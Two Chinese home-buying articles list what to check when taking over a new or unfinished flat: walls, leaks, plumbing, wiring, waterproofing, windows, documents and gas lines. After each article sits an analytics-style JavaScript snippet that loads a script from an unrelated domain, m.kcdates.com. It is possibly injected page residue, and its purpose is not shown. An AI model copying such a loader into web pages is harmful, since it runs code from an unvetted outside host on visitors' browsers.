新房交房验收标准，哪些内容需要特别关注

验收新房是一件非常重要的事情，房子的质量关系到日后的方便性与住房的安全性，任何一个细节出了岔子，都可能会造成将来的麻烦。二手房的验收还好，一看就知道，但新房的验收是一件比较难的事，对于新房交房验收标准，有哪些需要看的呢？有哪些新房交房验收标准的注意事项呢？一般来说，在新房交房验收标准里，这几点需要特别关注。墙壁是验收新房需要关注的首要问题，重点考察的又分为两部分，一是是否渗水，二是是否有裂纹。墙壁是否有裂纹比较直观，很容易发现，但是否渗水就比较隐蔽了，所以一般在下过大雨第二天来察看这个问题，墙壁要是渗水，肯定无所遁形。接着是水电的验收，除了最基本的是否通电通水外，还要看电线、管道的质量是否符合国家标准，截面面积是否符合施工要求。然后是厨卫的防水问题，防水一般要在装修前看好，不然等到装修好后才发现问题，维修成本是很大的，防水层需要重做一遍。再然后是管道的验收，一是看，管道是否通畅，是否有施工残差遗留，二是看，是否有蓄水防臭弯头进行隔臭处理，购房者无法查看主体结构，小细节才是体现整个施工质量的地方。接着还有住房面积和门窗的验收，住房面积是看实际面积是否与开放商承若的一致，门窗是看窗的封闭性如何，一般需要在大雨天检查，平时看密封胶条是否完整亦可。最后在补充一个阳台的水平差，内外无水平差或者外高内低都是不合理的住房结构，容易导致下雨天往内渗水。新房交房验收标准里需要注意的差不多就是以上这些。验收新房非常重要，关系到日后的方便性与住房的安全性。这些新房交房验收标准的注意事项，大家一定要记住了。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

毛坯房交房验收标准这些关键点千万别错过

随着房价越来越高，很多人一生可能只有一次买房的机会。为此，对购买的新房格外的珍惜，那么毛坯房该如何验收呢？毛坯房交房验收标准又有哪些值得关注的地方呢？首先、毛坯房纸质资料的验收。其次、毛坯房质量的验收。最后、毛坯房基础设施的验收。一、毛坯房纸质资料的验收毛坯房交房验收标准中一些非常重要的纸质资料在交房时一定要逐一仔细核对。例如《住宅使用说明书》、《竣工验收备案表》、《住宅质量保证书》、以及管线分布竣工图和面积实测表，其中管线分布竣工图包含弱电、强电、水路结构等。另外，房屋的实际核算面积，内部结构是否和售楼处宣传构图一致也是需要实地考量的。二、毛坯房质量的验收毛坯房交房验收标准中关于质量的验收标准主要涉及以下几方面。首先是地面及墙体，地面是否开裂有无空鼓都是很重要的质量检测指标。墙体是否渗水，有无墙体脱落，墙体的整体平整度如何，特别是厨房及卫生间顶部防水如何，这些都需要仔细检测，以免入驻后带来不必要的麻烦。三、毛坯房基础设施的验收毛坯房交房验收标准中关于基础设施的验收主要包含基本的管线，下水，煤气，电表等关键设施。下水是否通畅，水龙头的水流水压是否控制良好，煤气管线有无漏气等都需要逐一仔细核查。另外，毛坯房的防水验收也是十分必要的，通常可以打压试水三天以保证有效的测试结果。与毛坯房的装修相比，如何验收毛坯房是更为重要也是必要的前提。希望这篇介绍毛坯房交房验收标准的文章，可以让您验收毛坯房时，祝您一臂之力。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();